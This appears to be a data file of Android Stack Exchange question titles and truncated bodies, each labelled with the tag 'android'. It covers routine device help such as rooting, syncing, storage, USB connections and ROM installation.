sim 2 ... ",['android'] "Title: How can I enable/add USB OTG support to my rooted stock LG P500? Body: I have a rooted LG P500 running stock 2.3.3 with kernel 2.6.35.10. I would like to use USB OTG features and connect a flash drive to my phone. I have a USB OTG cable that I use with my Nexus 7. The ... ",['android'] "Title: Cannot see the video files in the phone on my PC Body: I have this very strange issue which I discovered on my month-old Note 2. I never had this issue with my previous device which was a Nexus S. I hooked up the phone via USB to my PC, and selected ... ",['android'] "Title: Problem reading PDFs downloaded from iMac to my Nexus 7 Body: I have a Nexus 7 32GB. I read an eMag (Model Railroad Hobbyist) and would like to be able to download it from the Mac (or directly from online). I downloaded one issue but the next one, while it ... ",['android'] "Title: Can I use LINE without giving out my phone number? Body: LINE is an app like Skype+Facebook. Is there a way to prevent LINE from reading my phone number and using it for any purpose? (search/identification/...) ",['android'] "Title: Can you use a minute plan with Google Voice? Body: I recently learned about Google Voice and was wondering if I could apply it to my current cellular situation. I have a pre-paid minute plan with an Android phone. Ideally, I'd like to use minutes ... ",['android'] "Title: Keys don't work properly in the recovery menu (HTC Wildfire S) Body: For some reason, my friend's HTC Wildfire S starts with the recovery menu. That wouldn't be a problem if I could get out of it. However, the buttons don't work properly. Key ""volume up"" should go up ... ",['android'] "Title: ParanoidAndroid LG P990 [duplicate] Body: I have an LG Optimus 2X P990. A while ago i saw P990 jelly bean paranoid builds for this phone, but now i cant find an up-to-date version. There are cm10.1 nightlies for that phone, with hardware ... ",['android'] "Title: How do I get boot audio to work with any ROM? Body: I have tried everything I can think of. There is a script that is supposed to use Statefright to play the audio at boot time=FAIL There is an updater-script that creates a binary to call the script ... ",['android'] "Title: My dialler app is severely lagging Body: I have a HTC Sensation running Android 4.0.3 (HTC Sense 3.6, 3.33.401.53). Of late I've been having increasing problems with global lag, however this is really most noticeable on the dialler/phone ... ",['android'] "Title: desktop shortcut that takes a photo and emails it to a fixed address Body: I am registered with a website that can archive scans of receipts. One way to upload the receipt image is to email it to an email address that's tied to my account. To expedite the process, I want a ... ",['android'] "Title: How to change/remove icons on LG lock screen? Body: I have LG Optimus L5 with Android 4.0.3. When screen is locked there are four icons (Phone, Messaging, E-mail, Camera) in the bottom of it. If I tap on it and slide, screen unlocks and the tapped app ... ",['android'] "Title: Possible security issues with having debug mode enabled? Body: Are there any significant security concerns with having a phone with debug mode enabled 24/7? As I understand it the debug mode only really becomes active once the phone is connected via USB cable to ... ",['android'] "Title: Prerequisites of Installing New Launcher Body: First of all, consider me noob in this launcher thing, as I have never installed any launcher on my Samsung Galaxy S2. But now, I'm thinking to take a plunge and download one, but have no idea what ... ",['android'] "Title: Installing BusyBox crashes phone Body: I'm trying to install BusyBox on my rooted stock Droid DNA. Every time I try the normal install, it fails saying that the program can't be installed in /system/bin. If I do the smart install, it ... ",['android'] "Title: Nexus 4 auto dialing extension does not work Body: I used to own a T-Mobile Mytouch 4g before, which had the pause character before extension otherwise 'p' on that handset and it was working fine. Now, I own and use a Nexus 4 and I understood that ... ",['android'] "Title: Turn on USB Storage just circling in ICS 4.0.3 Body: I downloaded Oxford Learners Dictionary from Google Play but now when I plug the USB cable in my device, it says ""Turn On USB Storage"" but on pressing it the circle just keeps on circling without ... ",['android'] "Title: Is it possible to intercept and override sensor events in Android? Body: I want to intercept sensor events in Android and override (fix) transmitted data. Is it possible? The solution should work for all applications using that sensor. UPDATE I need to override ... ",['android'] "Title: How can I import sms from iphone 4s / IOS6 with Samsung Kies Body: I've got a brand spanking Samsung Galaxy Note 2 and I want to import my SMS's - I've installed Kies, detected an iphone backup, (my iphone's name and date displays) but the import screen just ... ",['android'] "Title: Horizontal calibration and Gyroscope calibration is not working on Samsung Galaxy S2 Body: Whenever I go into the calibration for the accelerometer and gyroscope, the blue dot is not moving around for the accelerometer and for the gyroscope. Also, all of the auto screen rotation functions ... ",['android'] "Title: Red exclamation mark when trying to update Nexus 7. Body: Every time I go to update my Google Nexus 7 to Android Jelly Bean 4.2, it fails and shows the Android logo on it's side with red exclamation mark (!) on. Why won't it let me update to Jelly Bean ... ",['android'] "Title: Regarding file association in ICS Body: I have a Micromax Supercanvas 2 phone. I installed ES File Explorer from Play Store. I was browsing through various directories and files. When trying to open server logs, events, and other similar ... ",['android'] "Title: Delete Status bar Icon downloaded from web Body: I joined way2sms to send free sms from my laptop. Now i find an app icon downloaded to my status bar in my Samsung Galaxy Y mobile. Also, i get debited for calls not made. I am loosing money in this ... ",['android'] "Title: Why were some of my contacts automatically merged without notice? Body: I found several questions here where people want to merge several of their contacts into one. I'm having exactly the opposite problem: On both my Android devices (Google Nexus 4 and Nexus 7), two of ... ",['android'] "Title: Service code to get Xperia model Body: I'd like to check the manufacturing date of an Xperia Ray. The easy way is by looking at the sticker under the battery, but I'm trying to convey this to a potential seller, and I would prefer ... ",['android'] "Title: SGN 4.2.1 - stuck at < waiting for device > Body: I own Samsung Galaxy Nexus, it has been unlocked, rooted, I'm using CWM Recovery Touch and a few weeks ago I updated firmware to 4.2.1 (build JOP40D). It seems that Superuser is no longer working on ... ",['android'] "Title: Using the GPS instead of Google Location Services in Chrome Body: I do not consent to Google collecting constant background information about my position at all times through their Google Location Service program. So I have got that option disabled. I can get just ... ",['android'] "Title: Samsung Galaxy S3 not booting up, keeps restarting showing ”Samsung Galaxy S3 GT-19300” black screen Body: My Samsung S3 is stuck! It keeps restarting! It doesn't reach the enter pincode, but keeps restarting showing the ""Samsung Galaxy S3 i9300"" screen. Then cycles starts again. Here are the things ... ",['android'] "Title: Where is the music folder Android 2.3 [duplicate] Body: I have a file exploring program, but I can't find the folder with my google play music. I used google play to download music to my phone (not the SD). I would like to transfer the music to my SD, ... ",['android'] "Title: Changing input format for Android calendar Body: I have a Nexus 4. For the calendar, you have to scroll to enter a time, which is inconvenient for events starting at :30 (30 minutes past the hour). On the same phone, for the alarm clock, you ... ",['android'] "Title: Internal storage low even when 48 MB free of 150 MB (HTC Explorer) Body: This warning constantly shows in the notification area even when I have cleared the internal memory. 48 of 150MB is free. Could you please help me get rid of this warning/alert? ",['android'] "Title: Opera mini v12 automatic clear cache history & cookies Body: Is there a way to get rid of all cache, history and cookies automatically. Preferably each time I shut down or start up the browser Opera mini. If this one doesn't anyone know another browser that ... ",['android'] "Title: Where to get Flash Player for Android 2.2 Froyo Body: As everyone knows, the development of Adobe Flash for mobile devices was discontinued. I have an external device I want to access. It has a web server installed running a HTML script with an embedded ... ",['android'] "Title: App2SD doesn't work - I don't even have the option Body: So I got a Verizon Samsung Stellar (it has Android 4.0.2) a few days ago. All's going well, but I don't have the option to transfer an app to my sd card. However, I can move files etc with a file ... ",['android'] "Title: Re-installed Play Store doesn't work Body: I have a rooted Samsung Galaxy Y GT-S5360, running on Gingerbread 2.3.6. I accidentally uninstalled the Google Play Store. I re-installed it and I am able to search for applications on the Play ... ",['android'] "Title: How to install Opera Mini without internet connection? Body: I'd like to know how to install Opera Mini without internet connection, because I'm going to test an application in my tablet, but it needs a browser that support proxy configuration and I don't have ... ",['android'] "Title: accidentally turned on talk back Body: I accidentally turned on talk back in the Accessibility menu. When I turned it on I got some kind of walk through on how to use it. I couldn't cancel it. So I turned off my phone. When I turned it ... ",['android'] "Title: Symbian like internet connectivity in android? Body: In Symbian, i can connect and disconnect internet connection directly from my PC. i.e. when i use a dial-up connection on PC the mobile works as a modem. The internet connection is established just ... ",['android'] "Title: How to install Android completely as new to ASUS Eee pad transformer? Body: I have ASUS eee pad transformer. I used OLife to use Ubuntu on it, it worked but it crashed Ubuntu. Now when i boot it always goes to APX mode, so i have black screen only. No Android, No Ubuntu i ... ",['android'] "Title: How do I disable auto-sync in HTC Sync 3.3? Body: Where in HTC Sync is the option to disable synchronization upon connecting the phone to the computer? There used to be plenty of options in the old versions of HTC Sync. By old versions I mean ... ",['android'] "Title: None of the apps installed on my SD card work anymore Body: The apps worked this morning for a bit, then I plugged my phone in to charger and grabbed it right before I left for work. When I was checking it on the way to work, most if not all of my apps, said ... ",['android'] "Title: After upgrade to 4.2.1 how to get “settings” and “screen lock” back in pull down menu? Body: After upgrading my Nexus 7 to 4.2.1, which was an adventure in itself, I noticed that in the pull down menu at the top of the screen (notification bar), where you get to see notifications about ... ",['android'] "Title: Any way to remove the 512 character limit on Nook Touch notes? Body: The Nook Simple Touch is an android-based eReader. In their interface for reading books, you can highlight a word or set of words, then attach a note to that. The notes are limited to 512 characters, ... ",['android'] "Title: Blue band on screen of Galaxy ACE Android Body: I have a blue band across the middle of my Galaxy Ace 55830i Gingerbread.XXLD3 phone and cannot find out why. I have tried to check if it is a video still playing or something streaming but I have ... ",['android'] "Title: I recently bought a 32gb micro sd card for my galaxy exhilarate, but my phone says it has no memory? Body: I recently bought a new 32 gb micro sd card for my galaxy exhilarate. I have moved mostly all my apps to my sd card and it still has 31 gb of memory available. I took pictures and then my phone ... ",['android'] "Title: How to record FM radio Body: Is there an app which can record audio (to mp3) from the FM radio (NOT internet-radio). I want to record some shows while listening to the radio and store them in my SD memory card but I can't seem ... ",['android'] "Title: Tablet won't connect to any WiFi network anymore, always shows “saved” Body: My tablet will not connect to ANY WiFi network anymore. Everything was working perfectly for about a month. But now, the WiFi icon has disappeared, and every time I try to connect to a network it ... ",['android'] "Title: How to get app backups to Samsung Galaxy S3 [duplicate] Body: Possible Duplicate: New phone: How to transfer game progress? I just rooted my HTC Legend and succesfuly obtained the files for a few apps from the /data/data directory. I am now unsure on ... ",['android'] "Title: Installing Android on Symbian Phone [duplicate] Body: Possible Duplicate: Can I install Android on my non-Android device? I want to know if I can install Android on my Symbian phone. Please provide the link where I can download Android, and ... ",['android'] "Title: How do I copy ADW launcher settings from the free to the paid app version? Body: I want to upgrade from the free version of ADW Launcher to ADW Launcher EX. How can I do this without having to re-create all of my app settings and widgets? ",['android'] "Title: Error 110 while installing apps [duplicate] Body: Possible Duplicate: How do I fix “Unknown reason -110”? I have been getting 'error 110' while installing an app from the playstore. I have an HTC HD Desire. What does this error mean, and ... ",['android'] "Title: How to stop Beautiful Widget from being removed on device reboot? Body: I have a Nexus S running 4.1.1 and a Nexus 7 running 4.2.1 and they both have the same problem with Beautiful Widgets. Whenever I reboot either device, the widgets no longer show up on the home ... ",['android'] "Title: Connect Android phone to router via USB-to-Ethernet Body: I own an HTC Desire HD and it currently has the IceColdSandwich custom rom on it. I also own a usb OTG adapter and a D-Link USB 2.0 Fast Ethernet adapter DUB-E100. What I want to achieve is to ... ",['android'] "Title: How to install additional fonts? [duplicate] Body: Is it possible to install additional fonts on android for use when browsing websites? My device is rooted ICS. ",['android'] "Title: Is there any easy way to get GNU build tools on Android? If not… why not? Body: With the growing number of Android devices in all sorts of different form factors (dev boards like Raspberry Pi/ODroid, Android-on-a-stick, etc), it seems like it would be great to be able to actually ... ",['android'] "Title: is it possible to root a kindle fire running software version 10.2.6? Body: If so how, and if not will it ever be? I can't stand this keyboard! I'd root just for Swype! ",['android'] "Title: In which version of Android was encryption of /data made available? Body: These docs suggest that it has been available (only) since Android 3.0 Honeycomb. By contrast, conversation on discussion boards suggests it was available in 2.3.4 Gingerbread. So, what is the answer ... ",['android'] "Title: Can I install an app directly to my SD card? Body: I'm trying to install a large application (EA games' Scrabble free), but I have insufficient space on my phone, so I can't complete the installation. I have plenty of space on my SD card though, but I ... ",['android'] "Title: Block H+ (3.5G) but not H (3G), possible? Body: Is there any way to block only H+ (3.5G) and still have H (3G)? I use Android 4.2.1 CM10 Galaxy Nexus. I want to do this because 3.5G signal in buildings is poor (1 bar), but 2G (which signal is ... ",['android'] "Title: What do I type in PATH variable for ADB server to start from CMD? Body: I am following a Wiki on how to install and set up Android SDK and I am stuck at a step where I am supposed to test if the ADB server works by using the command adb start-server. Is this command ... ",['android'] "Title: Make Automate Task to manually sync Google Voice Body: Some network I connect to during my daily life, do not allow for push notifications. So I want to make a task that syncs all my accounts. This was easily done with Llama for Gmail. I just told it when ... ",['android'] "Title: How do I mount a Kindle Fire 10.2.6 on my Linux computer? Body: I just acquired a newish Kindle Fire, software version 10.2.6. Normally when I plug a Kindle or any USB device into my laptop (running Ubuntu 12.04) I get a popup screen asking me what I'd like to do ... ",['android'] "Title: Wii remote -> InputDevice? Body: Does anyone know of a Wii remote enabler that maps the remote onto an Android InputDevice, the same way that gamepads etc work? I've found lots of Wii remote apps on the market, but they all map the ... ",['android'] "Title: What's the best method for rooting HTC Desire? [duplicate] Body: What's the best method for rooting HTC Desire? Do I need both S-OFF and root? How are these two things related? I essentially want to root because I am often short on space so I want to be able to ... ",['android'] "Title: Flashing Galaxy Nexus with radio band Body: I'm trying the steps in this question to flash a factory image on my Galaxy nexus. Once I install Android SDK for Windows, I then: Open the SDK Android manager .exe Install SDK platform-tools since ... ",['android'] "Title: Any built-in way to move a contact from phone to Google? [duplicate] Body: I'm quite deperate by now. My WhatsApp (for unknown reasons) puts contacts which I got send in my phone not my Google account. But there seems ABSOULTELY NO way to just tell the phone to move the ... ",['android'] "Title: Backup and Restore using adb [duplicate] Body: Possible Duplicate: New phone: How to transfer game progress? I recently got a Samsung Galaxy S3 and I am wanting to transfer my Jetpack Joyride game progress from my old HTC Legend. There ... ",['android'] "Title: How to customize font size and color in Jelly Bean? Body: The combination of small font size, low contrast color schemes (gray on gray), and the erratic operation of the auto-intensity makes the screen difficult to read in many circumstances. I like ... ",['android'] "Title: How to have my phone guide me through a specific route Body: Every weekend I go out and ride my bike through the exact same boring old route. Now I've decided I want to start exploring new parts of the city, but I need my phone to help me that. Today, using ... ",['android'] "Title: Samsung Galaxy S2 battery gets hot Body: My Galaxy S2 is less than a year old. The battery sucks! I have to charge it more than once a day. Tonight, while on the charger, the battery life is actually going down. It's also way too hot to ... ",['android'] "Title: How can transfer my game progress from HTC Legend to Samung Galaxy S3? [duplicate] Body: Possible Duplicate: How to backup Angry Birds saves/data? New phone: How to transfer game progress? I don't really want to root either phone. But if I absolutely had to, I could root the ... ",['android'] "Title: Synchronisation of contacts and calendar suddenly stopped working Body: While working fine for almost a year now (since I've installed CyanogenMod on my device), a couple of days ago synchronisation stopped all of a sudden: Network indicators turned white (no longer green ... ",['android'] "Title: How to enable selective app permissions on CyanogenMod? Body: One of the big reasons I installed CyanogenMod (10.1 latest Monthly) was to be able to have the ability to selectively deny apps certain permissions (most importantly the network and device ID ones). ... ",['android'] "Title: Reduce time it takes for device to power on when pressing power button? Body: I recently got my Nexus 7, and I love it. There is only one thing that is bugging me: The amount of time you have to hold the power button to turn the device on. Most of time I have to hold it for ... ",['android'] "Title: Memory Cleanup Apps for Andriod - Good or Bad [duplicate] Body: Possible Duplicate: Do task killers actually work? I was just going through this article on Lifehacker. Do these kind of apps really help in performance or they create more problems? ",['android'] "Title: Choosing apps to load and remove from memory when using Android Body: I'm not a programmer. And as far as I know, Android uses as much RAM as possible, loading as many apps as possible, so that launching / opening (or returning to them) is smoother. My question is: Is ... ",['android'] "Title: How can I screenshot the Nexus 7? [duplicate] Body: Possible Duplicate: How to take a screenshot with an Android device? I want t take a screenshot on my Nexus 7, but none of the apps work. How can I take a screenshot on my Nexus? ",['android'] "Title: How to take screenshot in Sony Xperia Neo l without third party app? Body: Since volume-down + power key doesn't work, is it possible to take screenshots on Sony Xperia Neo l? If so, how? ",['android'] "Title: Can I stop a WhatsApp message from being delivered? Body: If I delete a message with a single tick, does that just get deleted from my local device ( Android) or does it no longer get delivered to the recipient? ",['android'] "Title: Google music player restores deleted playlist Body: Why does my Google music player automatically create some of the playlists I deleted before? When I delete a playlist, the playlist appears again after I turn off my Nexus 7 and turn it on again. It ... ",['android'] "Title: Can I use my iMac's mic and speakers for a call with my android 2.2 phone (through Bluetooth)? Body: I'd like to use my iMac's audio (i.e., microphone and speakers) for a call that is handled on my Samsung galaxy i5000 Android 2.2 phone. Is that possible? I've paired my iMac (OSX 10.6) and ... ",['android'] "Title: Jelly Bean search - only contacts and apps? Body: In previous versions of Android, the Google search widget allow you to choose what you want to search. I always configured it to search only contacts and apps. this way the Google web search results ... ",['android'] "Title: Galaxy S3 Encryption ruined my photos… recoverable? Body: I put outlook on my GS3 for work and to do so I had to encrypt my phone. Since Encryption, Almost all of the photos I had on my phone are now blacked out. It shows me my different folders and the ... ",['android'] "Title: Is it a hard brick? Body: I think I've bricked my device (Huawei G330, U8225-1). I was adb pushing while I received a ""push failed: no space left on device"". The phone boots in recovery, I've root but the bootloader is locked. ... ",['android'] "Title: Can you install vanilla Android on any phone? [duplicate] Body: I have an Samsung Galaxy S3. TouchWiz is great, but I want to use the vanilla Android OS you see on the Nexus 4. Is this possible? ",['android'] "Title: Galaxy tab 2 10.1 is showing x and y coordinates and mouse lines on the screen Body: My Galaxy tab 2 10.1 is showing x and y coordinates across the top of the screen. When I swipe my finger on the screen, a line is trailing behind it, like what I am doing are showing. It was normal ... ",['android'] "Title: Sync MP3 Ratings on Android, with MediaMonkey / MusicBee on Windows Body: Both MediaMonkey and MusicBee, as music players let you 'rate' songs from 1 to 5 stars. I would like to have this functionality as well in an Android app. The main problem is syncing these ratings. ... ",['android'] "Title: How can I push music to my Android device with Google Play Music? Body: I want to push music to my Android device running Google Music. Is this possible? ",['android'] "Title: USB On-the-go MIDI Keyboard with Nexus 7 [closed] Body: Has anyone successfully used a MIDI Keyboard (through USB OTG, specifically) with a Nexus 7? (I am not looking for commentary on the particular keyboard, but please state which you have used.) ",['android'] "Title: some apps, no problem loading on 2 devices. Not this one - help Body: I have loaded a free app (imediashare) from Amazon store onto my Kindle Fire. I want to put the same app on my Samsung phone, but when I go to the app store from the phone and try to 'buy' it, I'm ... ",['android'] "Title: Connecting a HDE keyboard to a Kindle Fire Body: I brought a HDE keyboard: Connects to your 7"" tablet via USB 2.0 A-Type Male Adapter. Please make sure your tablet has a USB Type A Female to accept this plug type. Also, your device must have a ... ",['android'] "Title: Video Player in Galaxy Note 10.1 keeps starting itself when connected to computer through USB Body: The Video Player app that came with Galaxy Note 10.1 will start at the background when connected to a Windows computer through USB. And there's no option in that app to disable it. It always appear in ... ",['android'] "Title: Can Samsung Galaxy Nexus charge with a wall-charger with an output of (5.1V/2.1A)? [duplicate] Body: Possible Duplicate: What’s the safe limit on charger output for a Galaxy Nexus I've got an apple iPad charger (I checked the label), providing an output of 5.1V/2.1A. Can this be used to ... ",['android'] "Title: Does ICS for the LG Prada 3.0 (i.e. LG-P940) have device-level encryption? Body: I understand that Stock Android ICS has device-level encryption, but I can't see any way to tell if my LG-P940 has this feature. Anyone know? I can't see an option to enable it. ",['android'] "Title: Samsung galaxy s2 upgrade problem Body: I want to upgrade my Android version 2.3 to the newest firmware version. I am using Odin v3.04 but when I put file into the PDA section and turned the phone into download mode and started the upgrade ... ",['android'] "Title: How can I test the NFC capability of my Android? Body: I got a Nexus 7 last week, and I love it! It has NFC functionality, and I was wondering how I could test it? I don't actually have any NFC tags that I can use (have you seen the price of them?!?). ... ",['android'] "Title: Disable screen lock pattern Body: I just downloaded JellyBean on my HTC One X. I wanted to check APNs, but accidently went to VPN. Then, I had to set the screen lock pattern to access it. Now, I have an extra step when I want to use ... ",['android'] "Title: Mobile data connection is lost “by its self”, need to re-enable it manually everytime I unlock the phone Body: This happens constantly: Go to Data Usage->""Mobile Data"" to ""On"". Lock phone for about 30 min. Unlock phone and try to use an application that requires data connection. The application says no ... ",['android'] "Title: My Samsung Galaxy S II (GT-I19100) wont recognise my SIM Body: I bought a locked Samsung Galaxy S2 second hand - it is locked to Vodafone. When I first purchased it worked fine, however yesterday morning it couldn't connect to the mobile network - it kept ... ",['android'] "Title: Email sync on roaming Body: I use Samsung Galaxy Note with Android 4.0.3. When I am outside the home network i.e. On roaming, the phone is not able to sync with Microsoft Exchange. When I am back in Home network they get ... ",['android'] "Title: Why is root access required for a custom ROM? Body: I'd like to be clear, and as my question indicates, I'm very ignorant of mobile devices in general so my apologies if this is common knowledge. Say I want to install a custom ROM onto a device, then ... ",['android'] "Title: Have to clear google services framework on android ice cream sandwich Body: I recently had issue to sync with google as the following are affected: gmail app says no internet connection play store says no internet connection tablet is set to EPOCH (Jan 01, 1970, 00:00) I ... ",['android'] "Title: Vixion IRUX Tablet battery will not charge Body: I bought this tablet recently in Tenerife. Can find no information about the manufacturer. Now the battery will not charge through the mains adapter. It did charge at first. However, I have found ... ",['android'] "Title: Is there a way to use Chrome's phone interface on a Nexus 7 instead of the tablet interface? Body: I don't find the tab switching on Chrome for tablets easy. I know I can swipe from the sides to move between tabs, but I prefer the version optimized for smaller screens. Is there any way I can use ... ",['android'] "Title: how to turn off camera sound besides lowering the volume on i9220? [duplicate] Body: Possible Duplicate: How do I disable the ‘click’ sound on the camera app? How do I turn off the shutter sound for the Android camera? We have a Samsung i9220. How to turn off camera ... ",['android'] "Title: Viber contacts out of date - not all contacts displayed in “All” tab Body: My address book is not Google Contacts, but Local Sync. All of my contacts belong to it. Viber sees many of my contacts as Viber-enabled from LocalSync. However, I'm sure that it's missing some of ... ",['android'] "Title: How can I use the camera button to pause/resume mp3? Body: How can I change camera button functionally and use it (or any other physical button) to pause/resume mp3 in a media player app? It is very important for my, because I want be able to pause/resume mp3 ... ",['android'] "Title: Stop Evernote from using Location based services? Body: Here is a screenshot from Evernote app: How do I stop Evernote from using this service? I have looked around the settings but did not find anything. ",['android'] "Title: Save SMS to phone directly Body: Some of my text messages get saved in my SIM card automatically and this does not show up in notifications and I miss out on reading them. I only realize the messages have arrived when I get a ... ",['android'] "Title: Tethering / Portable Wifi Hotspot Samsung Captivate Body: Repeated attempts to get WIFI tethering failed, even after a reboot. I can turn on the wifi hotspot. I used these steps. Settings > Wireless & networks > More... > Tethering & portable ... ",['android'] "Title: On screen soft mouse? Body: Is it possible to have a touch control of the mouse cursor in Android instead of the use of a hardware mouse? Maybe something like the soft keyboard? ",['android'] "Title: Using the same apps for a second user in Nexus 7 [duplicate] Body: Possible Duplicate: How to migrate applications to other user account without downloading the applications again? I've created a second user on my Nexus 7 for my wife. Do I have to ... ",['android'] "Title: Bluetooth Headset Profile and the Nexus 7? Body: I purchased the Nexus 7 3G to install as the radio in my vehicle. I stream all media from the tablet via Bluetooth to my factory head unit. However, I have two main issues to solve before this ... ",['android'] "Title: Why do I have so little unused RAM? [duplicate] Body: Possible Duplicate: Are there guidelines on how much free RAM a phone should have - specifically Samsung Galaxy S? 0 ram free on ICS My device (ASUS TF201, unrooted, stock Firmware) is ... ",['android'] "Title: Data connection problem with my galaxy s3 Body: Hi I have a peculiar data connection problem with my Samsung Galaxy S3. Cellular connections work fine at first however when the mobile loses signal and then reconnects after sometime, the data ... ",['android'] "Title: Cannot use keyboard D-Pad keys with applications in emulator (Android SDK revision 21.1) Body: I'm unable to use the keyboard D-pad keys in Android SDK revision 21.1. When I used it in the applications screen, I am unable to use keypad up down screen of screen. Please give me solution. Thanks ... ",['android'] "Title: How can I sync Yahoo Calendar on my phone? Body: I want to sync my Yahoo! Calendar on my phone. An article on Yahoo!'s help page seems to suggest that the only way to access it is by viewing their mobile website in a browser. I've tried adding the ... ",['android'] "Title: Change background color for notification entries? Body: Samsung Galaxy 5 (aka 550, Europa, Corby), Samsung's Froyo version (so, Touchwiz. Launcher is ADW Launcher (non-EX). My notifications (the things in the list when you pull down the notification bar, ... ",['android'] "Title: What does a grey Wi-Fi icon mean? [duplicate] Body: Possible Duplicate: What does it mean when the connectivity icons in the status bar go white/gray? I've been searching google for this and I haven't been able to find a clear answer for ... ",['android'] "Title: Insufficient space when downloading Go Launcher EX? [duplicate] Body: Possible Duplicate: “Insufficient storage” when trying to install anything on htc thunderbolt When I download the Go Launcher Ex App from the play store, it downloads okay but shows ... ",['android'] "Title: Cannot see, buy, or download apps Body: I have a Samsung Galaxy S3. Sometimes when I'm looking for an app, it says ""not available in your country"". It's very weird that I cannot see or buy paid apps, when others can see them. Is it ... ",['android'] "Title: Notification light on Galaxy S3 SGH-T999V with Cyanogenmod 10 Body: I'm trying to get custom notification lights working on applications I define on my GS3. I went to Settings > System > Notification Light and added an app with the colour I want. The light doesn't ... ",['android'] "Title: where can i find settings for wifi internal scan period Body: I have already found some guide related to this. But my experience is that if wifi.supplicant_scan_interval = 15 my device scans for wifi with 60s period so I dont think that this is the right ... ",['android'] "Title: keep screen from dimming down when running certain app? Body: My 2.3.5 Android phone is set up to dim down the brightness after 30 seconds of inactivity, and shut off and lock the screen after another 30 seconds. After that, I need to unlock the screen to regain ... ",['android'] "Title: How to get back pattern lock with Exchange/ActiveSync account for Galaxt R? Body: I have added an Exchange/ActiveSync email account to my Android phone. This required me to set the email application as a device administrator so that ActiveSync can control certain features of my ... ",['android'] "Title: Cannot add users on Nexus 7 Body: I recently purchased the Google Nexus 7 tablet running Android 4.2. This link describes how to manage multiple users on the same device. However the menu item ""Users"" does not exist on my table under ... ",['android'] "Title: Why are SMS messages sent on my Samsung Galaxy S III running AOKP appear as unable to be sent? Body: Why are SMS messages sent on my Samsung Galaxy S III running AOKP appear as unable to be sent? The SMS is actually sent. I tested with a message to myself: Any thoughts would be appreciated. ... ",['android'] "Title: Restoring an ADB backup onto a different phone of the same model? Body: We have several Android 4.0 phones of the same model, from the same manufacturer, purchased at the same time, from the same factory batch. We have created a backup of one of the phones using ADB. Can ... ",['android'] "Title: Force link to open in app not my default browser Body: Is it possible to force the links to open in their respective application and not in the default browser (e.g., Chrome)? For example, I get an email from Pinterest with interesting links for the week. ... ",['android'] "Title: LG P500 Rooting Isuue Body: I got a LG p500 Android device and i want to root it. the device is on stock ROM android 2.3.3 V20e. should I use SuperOneClick? and if so, how can I reboot my phone after the SuperOneClick Procedure ... ",['android'] "Title: How to clean up old application folders from prior ROM? Body: I installed CM10 on my GS2, and during the process I didn't format the file system as I wanted to retain my photos and music on the device. I was aware of an app called ""SD Maid"" that is supposed to ... ",['android'] "Title: Disable power-off menu when screen is locked Body: I own a Samsung Spica GT-i5700, how can I disable the power-off menu when the phone is locked. I am running CM7. ",['android'] "Title: Add meta information to photos? Body: Is there a decent camera app that will easily let me add a bit of text to my photos and store that text in the image file as EXIF/IPTC/XMP metadata? So far I have tried the stock Samsung camera app, ... ",['android'] "Title: Where do i find cwm recovery for samsung captivate? Body: I rooted my 2.3.5 and then returned my Samsung Captive i897 to stock 2.1 update 1 ROM. But now I want to put cyanogen 9 ICS -- but the CWM recovery does not work anymore. Where do I find one for 2.1? ... ",['android'] "Title: Google Play app hangs during updates Body: I have Sony Ericsson Live with Walkman with android 2.3.4. Recently, every time I try to update my apps over WiFi, the updates get stuck and I have to cancel that particular update to proceed. Now, ... ",['android'] "Title: I rooted my phone, but I never flashed the ROM and I never flashed the recovery, then I unrooted it. Can you tell its been rooted? Body: I am using a Samsung Galaxy Pocket (GT-S5300) which has Android Gingerbread 2.3.6. I rooted the phone by applying update.zip through the recovery console. I installed titanium backup free, and ROM ... ",['android'] "Title: How can I remove the SIM lock from a Samsung Galaxy S? Body: I bought one from bell Canada, and I can't put in a SIM card from any other service provider. Does anyone know how to unlock this phone? ",['android'] "Title: Looking for stable ROM for Samsung SGH-T759 [duplicate] Body: Possible Duplicate: Where can I find stock or custom ROMs for my Android device? Does a stable Android ROM, Ice Cream Sandwich or newer, exist for the Samsung SGH-T759? SGH-T759 is the ... ",['android'] "Title: How to change camera default save location? Body: When I was using the camera of my Sony Xperia S, the following message popped up. So how do you change the default save location of your camera (as highlighted with red underline)? Note: Yes, my ... ",['android'] "Title: E-mail (imap client) sync stopped because of low memory, and will not start again, even after freeing 60Mb Body: I have a Motorola XT303 running Android 2.3.6, and I use the email client (with an IMAP server). The email worked fine until two days ago: I tried to download an application that was too large for the ... ",['android'] "Title: OpenVPN Tunneling Facebook/Gmail App Body: I recently downloaded the OpenVPN app and I have it setup to connect to a server at my house and all of my HTTP(S) traffic is tunneled through the connection. I have confirmed this by going to ... ",['android'] "Title: Samsung Galaxy S: phone won't send or receive calls and text messages Body: I own a rooted Samsung Galaxy S, running 2.2 Froyo. My service provider is AT&T. Every so often, around about once a week to once a month, my phone will unexpectedly, without warning, enter a ... ",['android'] "Title: Making multiple files or a folder available offline in Google Drive Body: Is there any way to make multiple files or a whole folder available offline in Google Drive at the same time? For the offline folder it would be nice if there was some way when a document is synced to ... ",['android'] "Title: Android and Google contacts not syncing Body: For some reason I have 10 contacts in my Google Contacts account, but I have 50 contacts on my Android phone. I have signed into my Google Account from my Android phone and I have enabled settings ... ",['android'] "Title: Free / local voicemail / answering machine Body: My carrier having pretty high monthly prices for voicemail, I did not take the service. However, when I'm at school, unable to answer, and my busy doctor calls me, knowing I probably won't be able to ... ",['android'] "Title: Obtaining some 4.0 functions on a 2.3 phone through rooting? Body: I'm thinking of maybe rooting my phone, for various reasons. But one of the main ones is that I find the current version of Calendar, amongst others, that I have, very lacking. And I'm almost sure the ... ",['android'] "Title: How can I access internet over wi-fi rather than over my cell network? Body: I have a Nexus 4 and a T-Mobile SIM card. I do not have a data plan currently. Before I put in the sim card, I could browse the internet when I was within wifi range of a known network. Now that I ... ",['android'] "Title: How can I remove unwanted app icons from the screen? Body: I'm new to using an android. Apps I have never visited nor installed are showing up on my screen (Slots, Candy Crush, Expedia, Droid Games). If I touch them, I go to their site. I would like to ... ",['android'] "Title: Android Tablet (Sony Tablet S) with USB Barcode Scanner Body: I have a USB barcode scanner which, when plugged into a Windows PC works fine, just as a keyboard it 'types' the barcode into whatever software is open. I am attempting to use this with an Android ... ",['android'] "Title: Read External SD card Body: I have a Xoom 2 media edition MZ608-32 3G, immediately after receiving it I upgraded it to ICS 4.0.4 and rooted it. However the beast won't mount any SD card that is put in its external storage. I ... ",['android'] "Title: Google map, not updating based on current location / position Body: Had used Google maps on Nokia E72 sometime back, and it used to autoupdate/refresh the map keeping the current location/position updated. However, used Google maps on Android (latest version of Maps ... ",['android'] "Title: Finding my Google email and password. I've made too many accounts Body: I really need help because I just got this 